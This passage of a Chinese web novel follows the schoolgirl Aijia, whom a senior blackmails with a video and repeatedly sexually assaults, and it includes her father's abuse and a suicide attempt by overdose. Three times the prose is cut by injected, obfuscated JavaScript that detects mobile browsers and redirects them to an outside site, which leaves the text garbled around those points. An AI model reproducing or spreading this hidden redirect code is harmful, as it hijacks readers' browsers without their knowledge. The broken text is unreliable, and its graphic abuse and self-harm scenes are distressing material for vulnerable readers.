透明的水晶球里面是一座粉色城堡,城堡的墙上有彩色的糖霜似的小颗粒。 整个水晶球都很梦幻,像少女一场无与伦比的梦境。 艾嘉记得在小学二年级的时候跟妈妈说过,她想要一个水晶球,妈妈觉得那个东西只能当摆设,又不能玩,没给她买。 从那以后,她只能在橱窗里看着里面的水晶球,期待着有一天自己可以拥有。 可是,从什么时候开始,她都忘记了自己曾有这么一个梦想。 艾嘉打开水晶球的开关,响起了一阵悦耳悠扬的旋律,水晶球里面亮起了灯,开始下雪,粒粒白雪洒落在粉色城堡上,灯光的颜色不时变幻着,粉的甜美,紫的梦幻,橙的明媚…… 她一动不动地看着,沉浸在这场美妙的童话世界里。 她好像变成了八岁的小女孩,拥有了属于自己的水晶球。 好像回到了那个跳着皮筋、打玻璃珠、翻手花的年纪,她无忧无虑,抬头看云是云,看太阳是太阳,看每个人对自己笑都觉得是真的。 现在呢,有什么变了,又有什么没变。 有些东西,回不去了。 像夏天的晚风,注定吹不进冬天的荒原。 迟予辰这是真把她当沉睡公主了吗,让她这个公主住在粉色的城堡里? 假如,这世上有一座城堡,里面没有怪兽,没有厉鬼,也没有风雪,她倒是想住进去看看,看看是不是有绚烂春花、热烈盛夏、干净晚霞,还有守护她的勇士。 她在装水晶球的盒子里看到了一张附带的粉色卡片,上面有烫银的一行字:每个女孩,都值得被公主般宠爱。【注】 随着卡片落下的,还有一张便笺纸,便笺纸是蓝色的,上面写着:公主殿下,值得被宠爱,值得拥有幸福。 字的下方,还画了一个小人给另一个小人笔芯的动作。 这一看便是迟予辰的杰作。 艾嘉把便笺纸抱在胸前,像在抱一个不愿醒来的公主梦。 晚上,艾嘉睡觉的时候,把水晶球放在枕边,一直开着,听着悦耳的旋律,看着里面的雪花纷纷飘落,对着水晶球说: “阿雪,新年快乐!” “活雷锋,新年快乐!” 这晚,她出奇地睡得安稳,做了一场公主梦。 梦里有她,有外婆,有妈妈,有阿雪,有活雷锋,也有迟予辰,他们一起打雪仗、堆雪人。 他们都像孩子一样,笑着闹着,谁的眼里都倒映着星星,谁的脸上都挂着笑容,谁都跌进了粉色城堡。 12. 求求你 艾嘉以为自己可以一直活在粉色城堡里,只要她不愿醒来,就可以不醒来。 但她不知道,现实有时是刽子手,会炸掉城堡,让你走进泥沼地。 她以为今后不会再有联络的霍盛源又出现了。 元旦假期后,上体育课时,他遇到她,跟她说:“晚上留下来,要是不留下来,我会把我们上次的事发出去。” 发出去?艾嘉起初不明白,霍盛源跟她解释:“我录视频了,你要是敢不配合我,我就发出去,告诉别人是你勾/引我的。” 威胁意味明显,可他却是笑着说的,眉眼还是温柔的,但艾嘉看一眼都觉得恶心。 艾嘉听到这话,双手攥成拳头,浑身都气得发抖。 她的眼睛一直看着前方,一秒钟都不愿意给他,却听到他还在说:“晚上,来我教室。” 此后,基本每晚她还跟之前一样,都会去霍盛源的教室,他还是会给她辅导功课,但也只是装装样子,随便讲一讲,就让她自己刷题。 他会等所有人都离开后,开始对她进行疯狂的掠/duo。 有时一次,有时两次,有时从教室移到百花园附近的那个无人的假山。 对艾嘉而言,在教室里,羞耻等级算满级的话,在假山那儿,羞耻等级是满级的N倍。 这样的日子,一直持续着,每个月至少上演十五次,不在学校的时候,他就带她去另一个民用住房里。 在民用住房里,比在学校里还要疯狂、还要激烈。 她的身体、她的心灵、她的灵魂,都被他榨干了、掏空了。 她成了名副其实的行尸走肉,成绩一落千丈,稳居班里倒数。 老师喊来家长,告诉艾爸,她上课听讲不专心,有很多小动作,总喜欢自言自语。 艾爸当天把她领回家,从路上就开始数落她:“小嘉,你最近是怎么回事?成绩考那么差,是猪脑子吗?是不是谈恋爱了?老见你回来晚,从明天开始,你必须在十点前到家!” 艾嘉在霍盛源那儿的录像越来越多,他是她的主人,他想让她往东,她不能往西,但爸爸的话,她也要听。 她把爸爸的时间要求告诉了霍盛源,霍盛源笑容诡异:“可以啊,十点前我送你回家。” 这以后,霍盛源成了艾嘉明面上的护花使者,惹得霍盛源的迷妹们纷纷艳羡。 但只有艾嘉知道,霍盛源这是在做假好人,他会在她家楼下等着,等她爸爸房间的灯熄灭了,就喊她下去,把她带到附近的小旅馆,来一场场酣畅淋漓地肆虐。 霍盛源成了艾嘉每晚失眠的罪魁祸首,成了她噩梦的始作俑者。 她曾想过反抗,以其人之道还治其人之身,也偷偷用针孔摄像机录下了他对她的无情践踏。 她想起了有一次,在假山后面,那双看着她的眼睛,是温姗,她看到了霍盛源对她的暴行。 艾嘉去找温姗,想拉一个同盟军,帮自己作证,去证明她才是被欺负的一方,她才没有勾/引那个禽兽。 温姗静静听完,最终摇摇头说:“不好意思,帮不了你。” 她要走,艾嘉紧紧地拽住她的胳膊,像拽着最后一根稻草:“求求你,学姐,帮帮我,好吗?” 温姗甩开了她的手,面无表情道:“他比我们想象中要可怕,也要厉害,你不是他的对手。” “我有这个,我有这个。”艾嘉哆哆嗦嗦地从口袋里拿出针孔摄像机,“这里面是他……对我做的事。” “侵犯”两个字,终究没法说出口。 “没用的。”温姗不为所动。 “学姐,求求你,求求你,求求你了……”艾嘉实在没办法,扑通一声,跪了下来,嘴里不断地说着“求求你了”。 她放弃了所有的尊严,只想摆脱那个青面獠牙的厉鬼。 可现在温姗告诉她“没用的。”“不要去做无谓的抵抗。”“认命吧!”,粉碎了她对未来仅存的一点幻想。 …… 那天,满月当空,月光如盐霜般洒了一路,亮如白昼,却没有一丝光能钻进她的世界。 她骑着自行车,很慢很慢,慢得像个垂垂老矣的老人,好像浑身的力气都被人抽走了。 她掉进了霍盛源布下天罗地网的沼泽地里,越陷越深,拔不出来了。 她的世界没有星星了,也没有粉红色城堡了。 她不是什么沉睡公主,她是灰姑娘,还没有穿过水晶鞋、坐过南瓜马车,她就被坏巫师抓去了一个名叫“地狱”的牢笼。 回到家,艾嘉没有开灯,完全放任自己被黑暗包裹。 她无力地走到窗前,望着窗台上摆放的一盆海棠花,在夜色中悄然怒放。 她想起当初迟予辰送给她的场景,那是三月初,迟予辰送的时候,还是一株瘦弱的小树。 艾嘉并不想要,不是不喜欢,而是她都照顾不了自己,何况去照顾花。 但迟予辰跟她说:“小嘉同学,海棠花又叫解语花,你不开心了,就找它说说话,它能懂你的心。” 艾嘉这才收下这盆海棠,前几周,她浇水浇多了,根部都沤坏了,她急得去求助迟予辰,迟予辰拿回去照料几日,归还时,海棠活了。 四月份冒出绿色的叶尖儿,五月份含苞待放的花儿终于怒放了。 艾嘉拍了张在夜色中盛放的海棠花,发给迟予辰: 【迟哥,我的解语花终于开了。】 从什么时候开始叫迟予辰“迟哥”的?她记不太清了,也许有时叫“迟哥”,有时叫“迟予辰”吧。 她的脑袋变得很迷糊,常常觉得自己有段记忆缺失了,常常觉得自己好像做了不该做的事,又常常出现幻觉、幻听。 她不再是从前的那个自己了,生活从有序变得无序,从太阳下跌入沼泽地。 她不再喜欢跟人打交道,觉得所有的人,都像是来索她命的厉鬼,她去哪儿,他们就跟到哪儿,随时随地要吃了她。 她的警觉性提高,很容易受到惊吓,常常处于游离和惶恐中。 她身边没有一个朋友了,唯一的朋友,是那个对她不离不弃的竹马——迟予辰。 迟予辰几乎每次都会秒回她的信息,这次也不例外,他回: 【小嘉同学,你要像解语花一样盛放。】 艾嘉看到这条信息时,无神的眼睛隐没在黑暗里,她的脸上流露出一丝苦涩的笑容。 她知道,她的生命,不会再绽放了。 * 那段时间,迟予辰知道她的状态不好,问她发生了什么,她说,成绩不好,被爸爸骂了。 艾爸极为好面子,他女儿曾经成绩不错,他见人就吹嘘,自家女儿多优秀、成绩有多好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978297|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但现在艾嘉名次倒数,他再也没法说出口,被别人揭穿了,心情不爽,回来便会对艾嘉一通骂:“我怎么生了你这个没出息的东西!”“你下次不考前二十名,就别想回这个家!”“你这个猪脑子,这次又考了个倒数,你怎么有脸回来的!” 艾嘉回过一次嘴:“爸爸,我也不想考倒数。” 她希望爸爸能关心她的精神状态,但她爸爸眼里只有她的分数、她的名次。 她考好了,是他的谈资;她考不好了,就是他的骂资。 唯一的一次回嘴,遭来了艾爸的变本加厉的责骂,怒斥她:“你这个小兔崽子,长本事了,会顶嘴了,是吧!”说完,狠狠地打了她一巴掌,响声响彻她的房间,她的脸很疼,耳朵嗡嗡作响。 这之后,艾嘉不再回嘴了。 她曾消失了几天没回家,游荡在街上,爸爸没有给她发一条信息。 也许,就算她死了,他也无所谓吧。 空荡荡的街道,所有的店铺都关了门,唯有路灯还发出昏黄的光。 艾嘉在人行道上,低头看着倒映着的斑驳树影,一直走,一直走。 她绕开树影,一直走到被路灯照耀的地方。 连续三晚,她没有睡,一直朝着光亮的地方走,一直走,一直走,走到了天明。 天亮了,但她还被黑暗拖住,住在地狱里。 有一晚,凌晨一点,艾嘉遇到了迟予辰,她觉得应该是她太累了、太乏了出现的幻影。 直到迟予辰走过来抓住她的手跟她说:“小嘉同学,你不能这样了。” “不能怎样了?”艾嘉身心俱疲,人枯瘦得像根树枝,风一吹仿佛就能被吹倒。 “跟我回家。”迟予辰拉着她往前走。 “我还有家吗?”艾嘉甩开他的手,停住脚步。 “我的家就是你的家!”迟予辰不容置疑地又牵住她的手,“前几天,叔叔打你的事,我知道。” “然后呢?”艾嘉嗤笑,“你这是在同情我吗?” “小嘉同学,不管别人怎么看你,怎么说你,迟哥告诉你,你在我这里就是最特别的、最独一无二的!” 迟予辰站在她面前,望着她那双疲倦又无神的眼睛,笃定道: “从元旦到现在,过去四个半月了,你笑过几次,你的眼睛肿过几次,我都知道,但你天天晚上去哪里,我不知道。” “你不肯告诉我,我就不问,你说不说,都是你的自由。” “我说过,以后迟哥保护你,不是说着玩玩的。” “你有什么心事,告诉迟哥,迟哥能解决的,一定全力以赴!” 艾嘉望着迟予辰,他的眼里有关心、着急,还有担忧。 她那颗被戳得千疮百孔的心终于有了一丝痛觉。 半晌,艾嘉低声说:“对不起,迟哥。” “走吧,跟迟哥回家!”迟予辰把身上的外套脱下来,披在了艾嘉身上,帮她拉好拉链,牵着她的手走到小电驴前,帮她戴上头盔,随后自己也戴上。 艾嘉坐在他身后,五月的风吹在身上有些凉,把她身上那件不合身的外套吹得鼓鼓的。 她搂着迟予辰的腰,靠在他的后背,仿佛走进了一间叫“安心”的房间。 她的世界好像没那么差,至少她不是一个人。 她还有迟予辰。 13. 好像得到了爱情 那晚,艾嘉去了迟予辰家,家里就他俩。 他家不大,两室一厅,一个房间是他爸妈的,一个是他的,他让她睡他的房间,他去他爸妈的房间。 艾嘉拽着他的手不让他走。 她在黑暗里待得太久了,她要抓住唯一的光亮。 熄了灯,他俩躺在一张床上,各自盖了一床被子,谁都不敢动,生怕碰到对方。 他们从来没有那么紧张过。 小时候不是没睡过一张床,但那也是十一年前的事了,艾嘉那会儿还是个一年级的小朋友,睡一张床并不觉得有什么。 但现在不同了,他们都长大了,都是高中生了。 她知道男女生是不可以在同一张床上睡觉的,虽然,她已经被那个禽兽睡过无数次了。 她的竹马迟予辰同学,是天上的白月光,是不能跟她沾上一点的。 毕竟她那么脏,脏得连她自己都嫌弃。 “迟哥。”艾嘉望着天花板,轻声唤迟予辰。 “小嘉同学,迟哥在。”迟予辰侧过身,用手肘撑着脑袋看艾嘉。 “迟哥,你说,受伤了怎么办?”艾嘉动了下,侧身去看迟予辰,眼里透着彷徨和迷惘。 “小嘉同学,每个人都会受伤,有的会受轻伤,有的会受重伤。”迟予辰思考着,“受轻伤的还好,时间会抚平伤痕。受重伤的,分身体上的,和心理上的,身体上的会慢慢愈合,但心理上的需要医生的干预,也需要个人的配合。” 自从她的好朋友千雪去世后,迟予辰发现艾嘉整个人都变了,眼里再没了光彩,她像一株毫无生命力的绿植。 艾嘉不说话了,眼神空洞。 迟予辰把她挡住眼睛的头发捋到耳后:“小嘉同学,头发长了,该剪了,明天迟哥带你去剪头发。” “好。” “剪完头发,我带你去医院。”迟予辰说得很小心。 “去医院做什么?”艾嘉瞬间变得格外警惕和紧张,连忙坐起来,拔高音量,“我没病!我不去!” “好,不去。”迟予辰见她情绪激动,只好安抚她,抬手去顺她的背,像撸猫似的,温柔地抚摸着她。 艾嘉的情绪渐渐缓和下来。 两人重新躺了下来,谁都不再说话,怕触碰到什么雷区。 艾嘉不敢看天花板,她一看天花板,便会看到上面有两个身影,一男一女。 男的对女的肆意践踏。 渐渐地,画面变得扭曲,男的变成青面獠牙的厉鬼,从天花板上跳下来,张开血盆大口,伸出尖利爪子,朝她扑过去,似要把她生吞活剥了。 一如往常,她被厉鬼纠缠,无法入眠。 好几次,她站在家里的阳台上往下看,很想跳下去一了百了。 但她家住在四楼,跳下去也许死不了人,弄个残疾什么的,还是她爸的拖累,自己还会活得生不如死。 算了,跳/楼不是什么明智之举,那就吃药,吃一大把药,在睡梦中死去,好像是最体面的方式。 为此,她找出家里所有的药盒,把药一粒粒剥开,就着冷水,吃了一把又一把。 吃了多少粒,她不知道,但她觉得嗓子堵得要命,快要喘不上气,有几粒卡在了嗓子眼,像被卡了一把鱼刺。 她难受地剧烈咳嗽起来,试图想把卡在嗓子眼的药给咳出来,但无济于事。 她咳得满脸通红,嗓子越发难受,药也在胃里翻涌着。 不,她还不能死,如果她死了,是不是有更多的女生都要被那个禽兽侵/犯? 有几次,艾嘉去他的住房找他,看到从屋里走出来的女生,眼里跟她一样,流露出绝望、痛苦,她们的脖子上也有不堪的痕迹。 她遇到的女生,还都不一样。 艾嘉想啊,只要她还活着,就还有一丝希望,把禽兽亲手送进监狱的希望。 如果她死了,就一点希望都没有了。 她还能做什么? 她的脑袋很混沌,老是像塞满了浆糊。 要不然告诉迟予辰,他四肢发达、头脑聪明,说不定他有办法。 但她不能把自己跟禽兽的事告诉迟予辰,那她还能说什么? 那个禽兽好像除了那种事,也一直是个冠冕堂皇的天之骄子,家世好、学习好,在别人眼里,人品也很好。 人前的他,全身都是闪光点。 谁都不知道,在那些隐秘的角落里,他不过是个衣冠禽兽。 她能告诉谁?她好像谁也不能告诉。 禽兽总能变着花样地折磨她,一次次突破她的羞耻值,一次次让她陷入自我厌弃中。 这样的人,为什么会存在于世?为什么会被她碰到? 艾嘉把手伸进喉咙里,使劲地去抠,抠疼了也不在意,抠恶心了终于吐出来,又让自己咳起来,想把胃里的那些药都咳出来。 胃里翻江倒海,她不断干呕,药片最终也没从胃里跑出来,好在吃进去的不多,晚上她的胃疼得厉害,那几天的状态更差。 躺在床上,艾嘉想着还有什么方法可以揭发霍盛源的罪行。 她从网上查了很多,揭发谁,就得有证据,她的证据是什么? 之前偷偷录的视频算吗?她连忙从床上爬起来,把窗帘拉得严严实实,把门锁上,戴着耳机,去看那个视频,这是她第一次看,整个过程,视觉、身心都受到了极大的冲击。 这样的事情,发生过不止一次,霍盛源一次比一次更过分。 看到最后,艾嘉的心脏已疼得厉害,浑身都在发抖,仿佛置身于至寒冰原。 霍盛源的每句话都不足以成为侵/犯她的罪证。 她引导他:“你放开我,不要这样对我。” 霍盛源说:“乖宝贝,你不是最爱我了吗,我也最爱你啊。” “我不爱你,你知不知道你这是犯罪!” “是啊,我们在犯你情我愿的罪。宝贝,你就别装了,来,张嘴,让我好好亲亲。”他强迫地挤进她的嘴里,“宝贝,你的she/头好软,好好亲。” 他把一场场暴行,当成了两个人你情我愿的chuang/上游戏。 她找不出破绽,无法把这个无用的视频给警察。 霍盛源每次都会做an/全措施,想要留证据是不可能的。 唯一庆幸的是,她没怀过孕。 …… 艾嘉侧躺着看迟予辰,他也正看着她。 他的眼睛那么明亮,宛若天幕上最亮的星,她从这颗最亮的星星里看到了担忧。 艾嘉说:“罗密欧,抛弃了你的名字;我愿意把我整个的心灵,赔偿你这一个身外的空名。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978298|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那么我就听你的话,你只要叫我zuo/爱,我就重新受洗,重新命名;从今以后,永远不再叫罗密欧了。”迟予辰说,“小嘉同学,你天天在窗前背朱丽叶和罗密欧的台词,你怎么不报名这次的话剧演出?” “我报名?”艾嘉眼睛里浮现一抹无奈的忧伤,“我是差生,谁会选差生。” “我选。” “你怎么选?” “来,我演罗密欧,你演朱丽叶。”迟予辰掀开被子,从床上下来,朝艾嘉伸手。 艾嘉想把手搭到他手上,但指尖刚碰触到他的手,便像弹簧一样弹开了。 迟予辰的房间外有个小小的阳台,阳台的栏杆上摆了一排花盆,全都是海棠,模样也都很相似,跟艾嘉窗前的那棵差不多。 夜晚的海棠,被温柔的月色笼罩着,跟她窗前的那棵一样,每盆都开花了,都开得很好。 “迟哥,你怎么种了这么多盆海棠?”艾嘉从左走到右,用手指着花盆,一盆一盆地数,“一、二、三、四、五。” 一共有五盆,这五盆几乎都挨着摆放,第五盆的右边空着几个位置。 艾嘉弯腰去看,看到上面有摆过花盆的痕迹,数了数,有三个,不禁笑他:“迟哥,你这是天天给它们挪位置啊。” “是啊,让它们跟着太阳走。”迟予辰也笑,“多晒晒太阳,才能长得好。” “厉害!”艾嘉朝他竖大拇指。 她觉得自己只有跟迟予辰在一起时,好像才是个人,才活了过来。 她这个又活过来的人,在月色下,扮演起了她一直想饰演的朱丽叶,对面的迟予辰饰演罗密欧。 “要是我这俗手上的尘污,亵渎了你的神圣的庙宇,这两片嘴唇,含羞的信徒,愿意用一吻乞求你宥恕。”迟予辰伸出手。【注】 “信徒,莫把你的手儿侮辱,这样才是最虔诚的礼敬;神明的手本许信徒接触,掌心的密合远胜如亲吻。”艾嘉照着剧本里写的那样,抬手,缓慢地朝着迟予辰的手靠近,越近,她的手越抖。【注】 迟予辰没有动,看着她朝着自己靠近,直到贴到他的掌心,他的心猛然一跳。 但她的手又很快缩回去,在距离他几厘米的地方,从某个角度看,他们的掌心好像贴着。 迟予辰:“生下了嘴唇有什么用处?”【注】 艾嘉:“信徒的嘴唇要祷告神明。”【注】 迟予辰:“那么我要祷求你的允许,让手的工作交给了嘴唇。”【注】 艾嘉:“你的祷告已蒙神明允准。”【注】 “神明,请容我把殊恩受领。”迟予辰作势倾身要去吻艾嘉,“这一吻涤清了我的罪孽。”【注】 “你的罪却沾上我的唇间。”艾嘉往后退。【注】 他没吻上她,她还是感受到他的呼吸,灼热如火焰,烫着她的皮肤。 为什么她觉得他的呼吸好像没有那么讨厌,甚至给她一种“我还活着,我还可以跟人靠近”的感觉。 艾嘉没再往后退,望着他那双含笑的深情眼眸,好像他是故事里罗密欧,而她是故事里的朱丽叶。 她好像真的得到了爱情,得到了他的珍视。 迟予辰朝她靠近,近得下一秒就要吻上她的脸颊。 她没有后退,也没有偏头。 他是要吻自己吗? 14. 迟予辰的理想国 如果她给他一个亲吻,可以偿还他对自己的照顾,她愿意。 然而,迟予辰没有吻她。 她听到迟予辰说:“朱丽叶,爱情怂恿我探听出这一个地方,他替我出主意,我借给他眼睛。我不会操舟驾舵,可是倘使你在辽远辽远的海滨,我也会冒着风波寻访你这颗珍宝。”【注】 这话多美,艾嘉曾希冀着喜欢的人能对自己说出类似这样的话。 然而,她曾经喜欢的人,成了恶魔。 从她的竹马口中说出口,她觉得异常美妙动听。 “罗密欧,谢谢你冒着风波,找到我这颗珍宝。”艾嘉那双长期以来无神的眼睛里满是光彩。 艾嘉闻到了海棠的花香,感受到月光照进了她的世界,眼前少年的笑容穿进了她的胸膛。 活着有意义吗? 好像还有意义。 她不是一直活在沼泽地里。 在这场没有一个观众的舞台上,月亮是观众,见证了一场矢志不渝的爱情。 当晚,艾嘉躺在那张有着迟予辰的床上,发了条朋友圈: 【莎士比亚王国里的解语花开了。】 这是一条仅对迟予辰可见的朋友圈。 她看到迟予辰没睡,拿着手机敲着什么:“罗密欧,你在写什么?” “朱丽叶,我给你评了。” 艾嘉去看,看到了他的那条评论: 我来到莎士比亚的王国 喜欢做尽情绽放的花朵 欢迎你来到浪漫的国度 你要不要摘下青涩秘果 艾嘉问迟予辰:“罗密欧,没发现,你还是罗大诗人啊!” “看出点什么了吗?”迟予辰望着艾嘉,眸中流动着温柔的光。 艾嘉摇头:“你的意思是,让我摘下你这颗青涩秘果吗?” “你看,你不是看出来了吗。”迟予辰笑。 “你还青涩?”艾嘉也笑,“你哪里是青涩秘果,是老陈皮吧。” “哎,小嘉同学,你要不要这样啊,我老陈皮的话,你就是小陈皮。” “我才不是什么小陈皮!” “你就是!” “迟予辰,你很幼稚!” “你才幼稚!” 两人回到了之前互怼的时候,打着嘴仗,谁都不让谁。 这晚,艾嘉没有做噩梦,也没有失眠,睡得很好。 她做了一场梦,一场她跟她的罗密欧一起在舞台上表演、获得阵阵掌声的梦。 * 六月初,高三组织拍毕业照,迟予辰想让艾嘉帮他拍照,但艾嘉不想看到霍盛源,便拒绝了。 不过,艾嘉还是在迟予辰的手机上看到了他的毕业照,有他的单人照,也有他跟霍盛源的合影。 迟予辰还特意洗了三张照片给她,两张他的单人照,一张他跟霍盛源的合照。 艾嘉把迟予辰的单人照装裱了起来,放在书桌上,照片里的他,穿了一身藏蓝色的校服,比着V手势,笑得很灿烂,露出洁白的牙齿,是唇红齿白的少年。 一张单人照放到了抽屉里。 那张合照里的迟予辰把手搭在霍盛源的肩膀上,也笑得灿烂。 霍盛源站在中间,笑容极其温柔。 艾嘉不想多看一眼,拿出剪刀把霍盛源剪掉,剪到迟予辰的胳膊时,她停了下,随后又继续剪,把霍盛源剪下来了。 从他的头开始,剪他的眼睛、他的脸、他的嘴巴、他的上身、他的腿。 她把他的身体横向剪成一个个长条,再把长条纵向剪,剪成一个个小碎片,再也看不清他的本来样子。 这张合影残缺了,艾嘉没扔,放进了抽屉,放在迟予辰单人照的下面,叠在下面,像一张。 * 六月下旬,高考分数出来了,迟予辰如愿考上了B大,艾嘉精心准备了贺礼,抱了一个大西瓜去敲迟予辰家的门。 迟予辰逗她:“这哪儿来的卖瓜小妹,迟哥不买瓜,走走走!” 艾嘉没有走,微笑道:“迟哥,卖瓜小妹不卖瓜,免费上门送瓜,要不要?” 迟予辰弯腰做出邀请状:“欢迎光临迟哥的寒舍,请进!” 那天,迟予辰家里就他一人,两人坐在茶几旁的地上,一人抱着半个西瓜,用勺子挖着吃了一块又一块,两人吃得嘴上满是红润的西瓜汁。 迟予辰拿纸巾帮她擦掉嘴角的西瓜汁,问她:“怎么想起来给迟哥送瓜的?” 那是入夏以来,他第一次吃到西瓜,西瓜囊很红,西瓜很甜。 “迟哥,祝贺你榜上提名啊!”艾嘉像个无忧无虑的孩子啃着瓜,又吃得满嘴都是西瓜汁。 “多大的人了,吃相文雅点。”迟予辰又帮她擦嘴。 “今天我开心啊,好像我考上了大学。”艾嘉笑得眼睛弯成了一座桥。 “哟,你都这么开心了,才送我一个西瓜?”迟予辰故作不满。 “我能想起来就不错了。” “你又没失忆,怎么就想不起来。” 艾嘉觉得那段时间的记忆力并不好,常常感到自己做过什么,但又常常忘记,这事她没告诉任何人。 艾嘉用纸巾擦擦沾满西瓜汁的手,站了起来:“迟哥,你等等我,我回家拿个东西。” “小嘉同学,你是要放大招了吗?”迟予辰的眼里透出期待。 “现在不告诉你。” 等艾嘉再回来时,迟予辰看到她双手背在身后,他懒懒地靠在沙发上:“小嘉同学,你拿的什么?是要送给我吗?” 艾嘉点点头,走到他身前,递给他一个蓝色的纸盒子。 “什么啊?”迟予辰拿过盒子,刚想打开,又停住,抬头看她,“我现在可以打开看看吧?” “可以。”艾嘉坐到他身旁。 迟予辰打开盒子,想把里面的东西拿出来,但滑溜溜的,根本抓不住,他拿得费力,不由得蹙眉:“送的什么啊,这么滑。” “我来帮你拿吧。”艾嘉见他拿得那么费劲,想伸手去帮忙,却被迟予辰止住:“我的礼物,我来拆。” “行,你拆。”艾嘉提醒他,“可以打开下面,从下面拿。” 迟予辰用她的方法,顺利拿出了里面的礼物,看到的瞬间,不禁发出“哇”的一声惊叹。 “怎么样,喜欢吗?”艾嘉问他。 “喜欢。”迟予辰笑着看她,“你送什么,我都喜欢。” 这是一个苔藓微景观瓶,上面罩着椭圆形的透明罩子,罩子里是一个栩栩如生的小世界。 “这里面的苔藓、树叶、海棠花是真的吗?”迟予辰盯着罩子里那些看起来很逼真的花草。 “都是真的。”艾嘉也盯着那些花草,“你看这棵迷你版的海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“迟予辰的理想国”在迟予辰的照料下,越发生机勃勃。 * 七月中旬,迟予辰捧着“迟予辰的理想国”给艾嘉看:“小嘉同学,你看我照顾得不错吧。” “真好。”艾嘉的眼里没有一点光彩,脸上也没有一丝笑容,仿佛丧失了生命力。 “小嘉同学,你想去看海吗?” 艾嘉的眼睛忽然亮了:“想。” “我带你去吧。”迟予辰拿了两张飞机票,“这张送你。” 这是一张飞往夕照市的机票,从他们那儿到夕照市还挺远,来回一趟也得几千元,艾嘉惊讶道:“迟哥,你哪儿来这么多钱?” “这次考得好,我爸奖励我的。” 翌日,他们一起坐飞机去往夕照市,这是艾嘉第一次坐飞机,本来她的座位靠过道,迟予辰的座位靠窗,但迟予辰把他靠窗的位置让给她了。 飞机起飞时,让她有些眩晕和失重,那样的感觉特别不舒服,很像霍盛源对她的身体施下的暴行。 艾嘉一动不敢动地坐着,双手紧紧地抓着扶手,眼睛也紧紧地闭着,她的心突突地不安跳动着,几乎快跳到嗓子眼。 须臾,她的手被一双温暖干燥的手覆盖住。 艾嘉本能地抗拒,本能地排斥,猛然抽开,把手放在了膝盖上。 她听到迟予辰用极尽温和的语气跟她说:“小嘉同学,不怕,迟哥在。” 15. 伤痕被发现 迟予辰又试探性地去握艾嘉的手,这次,她没有抽离,静静地任由他握着。 艾嘉的心渐渐平复下来,落回原处,眼睛也睁开,望着膝盖上两只交叠在一起的手。 她能感到他手指的每个骨节,感受到他皮肤上的热度,甚至能听到他猛烈跳动的心跳声。 她的竹马迟哥陪着他,害怕、紧张、恐惧都消散,温暖、踏实、舒心纷至沓来。 等飞机飞向蔚蓝天际,在云层中穿梭时,艾嘉望着窗外棉花糖般的云海,看它们自由地移动。 她想,假如她是一朵云就好了,这样,她就可以自由自在地在天空里飘移,想去哪里就去哪里。 可惜,她做不了白云,因为霍盛源考上了本市最好的一所大学,他还在她所在的城市。 他真是一点都不想放过她啊! 她曾问他:“你有别的女生,为什么非要每次都还要找我?” 他笑得很下/流:“因为你比别的女生都好玩,你跟她们都不一样,你不发出一点声音,我偏偏要让你发出声音!” 接着,是一阵狂妄的大笑声,像夺人命的恶魔。 一声声扼住她的心脏,她快要无法喘息。 她的噩梦,什么时候才能结束? * 这次的期末考试,她考了倒数第一,那些题目,她都不会,因为她上课根本没法集中注意力,她的精力常常涣散、游离。 艾爸对她的责骂越来越严重:“你考这么差对得起我给你教的学费吗?”“又是倒数!怎么还有脸回来?”“畜生,就你这样的分数,配当个人吗?” 她跟爸爸之前的关系挺好,但现在不同往日了。 她失了魂落了魄,爸爸不应该关心关心她吗? 爸爸非但不关心她,还对她各种言语羞辱。 艾嘉觉得爸爸好陌生,陌生到她不想跟他说一句话,看到他就会绕着走。 她很厌恶现在的自己,成了她最讨厌的那种人。 成绩差、身体脏、爸爸嫌弃,成了个活死人。 偶尔,艾嘉会想起元旦时对着烟火许的愿望,希望新的一年,做一枚子弹,精准地射中梦想。 在那个梦想里,不再有什么霍学长,有千雪,有学习,有大学,有她梦想着的美好未来。 结果,现实给了她无数的惊天霹雳,每次都精准地射中她的心脏。 她想按部就班地长大,命运却马不停蹄地送她悲怆。 孤身一人躲在房间里时,艾嘉会觉得全世界已经将她抛弃,只有看着书桌上迟予辰的照片时,她才觉得,这世上还有一个人在乎着自己、关心着自己。 * 迟予辰带着她来到了夕照市的蓝海湾,那儿空气很好,碧海蓝天。 住的酒店是海景房,推开窗就能看到不远处的海,能清晰地看到海浪拍岸。 他们要在海边待五天,那五天,他们在海边漫步,玩沙子、捡贝壳,赤脚冲进海里,躺在沙滩上。 第一天,迟予辰在沙滩上送给了她一座城堡,跟他送的水晶球里的城堡一模一样。 他把沙子城堡的每个地方都做得格外精巧,指着城堡跟艾嘉说:“小嘉同学,迟哥送你一座城堡,你想住多久就住多久。” 艾嘉看着城堡,眼里流露忧伤:“谢谢迟哥,不过这沙子城堡,涨潮时,海水一冲,就散了,没法长久住。” “我拍下来。”迟予辰给城堡拍了一张照片,跟艾嘉说,“你站城堡旁边,我给你也拍一张。” “笑一个啊,小嘉同学。”迟予辰看到艾嘉一张哀愁脸,“你现在都成苦瓜了!” 